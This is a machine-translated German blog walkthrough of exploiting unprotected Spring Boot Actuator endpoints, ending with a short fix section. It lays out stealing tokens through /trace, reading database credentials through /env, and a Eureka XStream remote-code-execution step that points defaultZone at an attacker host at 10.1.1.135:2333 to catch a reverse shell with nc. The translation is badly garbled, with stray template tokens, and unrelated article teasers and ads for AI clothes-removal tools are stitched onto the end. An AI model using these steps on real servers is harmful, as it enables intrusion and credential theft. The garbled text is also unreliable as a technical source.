


Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell
Vorwort
Der Abteilungsleiter hat diese Schwachstelle in einem bestimmten Quellcode ausgegraben, also habe ich eine lokale Umgebung eingerichtet aus.
Actuator ist ein von Springboot bereitgestelltes Funktionsmodul zur Introspektion und Überwachung von Anwendungssystemen. Mit Hilfe von Actuator können Entwickler auf einfache Weise Statistiken zu bestimmten Überwachungsindikatoren des Anwendungssystems anzeigen und sammeln. Wenn Actuator aktiviert ist und relevante Berechtigungen nicht kontrolliert werden, können illegale Benutzer durch Zugriff auf die Standard-Actor-Endpunkte Überwachungsinformationen im Anwendungssystem erhalten, was zu Informationslecks oder sogar zur Serverübernahme führt.
Actuator ist ein von Spring Boot bereitgestelltes Funktionsmodul, das zur Introspektion und Überwachung von Anwendungssystemen verwendet werden kann. Die bereitgestellten Executor-Endpunkte sind in zwei Kategorien unterteilt: native Endpunkte und benutzerdefinierte Erweiterungsendpunkte.
Verwenden Sie Zuordnungen, um nicht autorisierte Schnittstellen zu finden.
- Verwenden Sie Trace, um Authentifizierungsinformationen (Cookie, Token, Sitzung) zu erhalten ) und verwenden Sie die Authentifizierungsinformationen, um auf die Schnittstelle zuzugreifen.
# 🎜🎜##🎜🎜 #Vulnerability Discovery- Das von der aktuellen Webanwendung verwendete Framework wird normalerweise als Springboot-Framework bezeichnet. Es gibt zwei Hauptmethoden zur Beurteilung:
#🎜 🎜#
Die Standardfehlerseite wird über das Springboot-Framework gemeldet. Wenn der Webanwendungsentwickler die Standardfehlerseiten 4xx und 5xx der Springboot-Webanwendung nicht ändert, wird eine 4xx- oder Wenn in der Webanwendung ein 5xx-Fehler auftritt, wird der folgende Fehler gemeldet (nur hier). Nehmen Sie die 404-Fehlerseite als Beispiel: Greifen Sie auf einen zufällig erstellten Pfad zu, z. B.: http://172.26.2.24:8090/index, und der Die folgende Fehlerseite wird angezeigt, die darauf hinweist, dass die Website das Springboot-Framework verwendet (die meisten in der Praxis auftretenden Situationen sind solche Situationen).
-
Um die beiden oben genannten Methoden zu kombinieren, um festzustellen, ob die aktuelle Webanwendung ein Springboot-Framework ist, Das heißt, indem Sie auf „Überprüfen“ zugreifen, um zu sehen, ob in verschiedenen Verzeichnissen ein kleines grünes Blattsymbol vorhanden ist, und dann eine Möglichkeit finden, 4xx- oder 5xx-Fehler in der Anwendung in verschiedenen Verzeichnissen auszulösen, um zu sehen, ob ein Whitelabel-Fehlerseitenfehler vorliegt.
-
Greifen Sie auf den /env-Endpunkt zu, um alle Umgebungsattribute abzurufen. Da der Aktor Datenbankdienste wie Site-MySQL und Mangodb überwacht, kann MySQL manchmal abgerufen werden Durch Überwachungsinformationen und Informationen zur Mangodb-Datenbank ist der verursachte Schaden enorm, wenn die Datenbank zufällig im öffentlichen Netzwerk geöffnet ist Konfiguration verursacht RCE,# 🎜🎜# Voraussetzung: Eureka-Client <1.8.7 (meist in Spring Cloud Netflix zu sehen)
Zum Beispiel beim Testen des Front-End-JSON-Fehlerberichts und den Paketnamen preisgeben, verwenden Sie Netflix# 🎜🎜#
spring-boot-starter-actuator (/ Aktualisierung (Aktualisierungskonfiguration erforderlich)
spring-cloud-starter-netflix-eureka-client (funktionale Abhängigkeit)
Wenn Sie Python3 zum Starten des Skripts verwenden, müssen Sie auf zwei achten Stellenweise ist einer die IP und der Port der empfangenden Shell und der andere der Start unseres Skript-Ports,
#🎜 🎜#
#🎜 🎜#Schreiben Sie die Konfiguration, greifen Sie auf den /env-Endpunkt zu, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Den Post-Inhalt ist (die IP ist die IP der Maschine, die vom Skript gestartet wurde):
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
Dann besuchen Sie /refresh, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Die Post-Daten sind willkürlich,
Dann können wir in unserem NC-Fenster sehen, dass eine Granate erfolgreich zurückgeprallt ist.
Schwachstellenbehebung
Als Sicherheitshund können Sie nicht einfach die Spring-Boot-Starter-Sicherheitsabhängigkeit unter dem POM des Projekts einführen, das Zugriffskontokennwort konfigurieren. und starten Sie die Anwendung neu, um das Popup zu starten.
org.springframework.boot spring-boot-starter-security
Um die Schnittstelle zu deaktivieren, können Sie sie wie folgt festlegen (z. B. die Env-Schnittstelle deaktivieren):
endpoints.env.enabled= false
FrageAusländer sagen, dass sie ausführen können SQL-Anweisungen und stellen fest, dass sie nicht ausgeführt werden können. Es ist nicht korrekt. Ich habe einen Screenshot davon gemacht und hoffe, dass jemand, der es erfolgreich implementiert hat, es teilen kann.
In der tatsächlichen Umgebung gibt es viele Probleme ohne Aktualisierung, was dazu führt, dass Befehle nicht ausgeführt werden können. Es gab noch keinen Durchbruch
Das obige ist der detaillierte Inhalt vonBeispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undress AI Tool
Ausziehbilder kostenlos

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Clothoff.io
KI-Kleiderentferner

Video Face Swap
Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Mit dem Aufkommen des Big-Data-Zeitalters beginnen immer mehr Unternehmen, den Wert von Big Data zu verstehen, zu erkennen und ihn auf das Geschäft anzuwenden. Das damit verbundene Problem besteht darin, mit diesem großen Datenfluss umzugehen. In diesem Fall sind Big-Data-Verarbeitungsanwendungen zu etwas geworden, das jedes Unternehmen in Betracht ziehen muss. Für Entwickler ist auch die Verwendung von SpringBoot zum Erstellen einer effizienten Big-Data-Verarbeitungsanwendung ein sehr wichtiges Thema. SpringBoot ist ein sehr beliebtes Java-Framework, das dies ermöglicht

Da sich die Technologie ständig weiterentwickelt, können wir nun verschiedene Technologien zum Erstellen von Desktop-Anwendungen verwenden. SpringBoot und JavaFX gehören mittlerweile zu den beliebtesten Optionen. Dieser Artikel konzentriert sich auf die Verwendung dieser beiden Frameworks zum Erstellen einer funktionsreichen Desktop-Anwendung. 1. Einführung in SpringBoot und JavaFXSpringBoot ist ein schnelles Entwicklungsframework, das auf dem Spring-Framework basiert. Es hilft Entwicklern, schnell Webanwendungen zu erstellen und gleichzeitig eine Reihe von bereitzustellen

In der modernen Webanwendungsentwicklung ist WebSocket eine gängige Technologie für sofortige Kommunikation und Echtzeit-Datenübertragung. Das SpringBoot-Framework bietet Unterstützung für integriertes WebSocket, was es für Entwickler sehr bequem macht, Push- und Benachrichtigungsfunktionen zu implementieren. In diesem Artikel wird die Verwendung von WebSocket zum Implementieren von Push- und Benachrichtigungsfunktionen in SpringBoot vorgestellt und die Implementierung eines einfachen Echtzeit-Online-Chatrooms demonstriert. Erstellen Sie ein SpringBoot-Projekt. Zuerst müssen wir ein

In tatsächlichen Projekten versuchen wir, verteilte Transaktionen zu vermeiden. Manchmal ist es jedoch wirklich notwendig, einige Dienste aufzuteilen, was zu Problemen bei verteilten Transaktionen führt. Gleichzeitig werden in Vorstellungsgesprächen auch verteilte Transaktionen auf dem Markt gefragt. Sie können diesen Fall üben und im Vorstellungsgespräch über 123 sprechen.

Mit dem Aufstieg digitaler Währungen wie Bitcoin ist die Blockchain-Technologie nach und nach zu einem heißen Thema geworden. Smart Contracts können als wichtiger Bestandteil der Blockchain-Technologie angesehen werden. SpringBoot kann als beliebtes Java-Backend-Entwicklungsframework auch zum Erstellen von Blockchain-Anwendungen und Smart Contracts verwendet werden. In diesem Artikel erfahren Sie, wie Sie mit SpringBoot Anwendungen und Smart Contracts auf Basis der Blockchain-Technologie erstellen. 1. SpringBoot und Blockchain Zunächst müssen wir einige grundlegende Konzepte im Zusammenhang mit Blockchain verstehen. Blockchain

Da moderne Unternehmen immer mehr auf eine Vielzahl unterschiedlicher Anwendungen und Systeme angewiesen sind, wird die Unternehmensintegration noch wichtiger. Enterprise Service Bus (ESB) ist ein Integrationsarchitekturmodell, das verschiedene Systeme und Anwendungen miteinander verbindet, um gemeinsame Datenaustausch- und Nachrichtenroutingdienste bereitzustellen und eine Anwendungsintegration auf Unternehmensebene zu erreichen. Mit SpringBoot und ApacheServiceMix können wir ganz einfach ein ESB-System erstellen. In diesem Artikel wird die Implementierung vorgestellt. SpringBoot und A

SpringBoot ist ein sehr beliebtes Java-Entwicklungsframework. Es bietet nicht nur den Vorteil einer schnellen Entwicklung, sondern verfügt auch über viele integrierte praktische Funktionen. Zu den häufig verwendeten Funktionen zählen unter anderem die Aufgabenplanung und geplante Aufgaben. In diesem Artikel werden die Aufgabenplanungs- und Timing-Task-Implementierungsmethoden von SpringBoot untersucht. 1. Einführung in die SpringBoot-Aufgabenplanung Die SpringBoot-Aufgabenplanung (TaskScheduling) bezieht sich auf die Ausführung einiger spezieller Aufgaben zu einem bestimmten Zeitpunkt oder unter bestimmten Bedingungen.

Mit der Entwicklung der Globalisierung müssen immer mehr Websites und Anwendungen mehrsprachige Unterstützung und Internationalisierungsfunktionen bieten. Für Entwickler ist die Implementierung dieser Funktionen keine leichte Aufgabe, da sie die Berücksichtigung vieler Aspekte erfordert, wie z. B. Sprachübersetzung, Datums-, Zeit- und Währungsformate usw. Mithilfe des SpringBoot-Frameworks können wir jedoch problemlos mehrsprachige Unterstützung und internationale Anwendungen implementieren. Lassen Sie uns zunächst die von SpringBoot bereitgestellte LocaleResolver-Schnittstelle verstehen. Ort
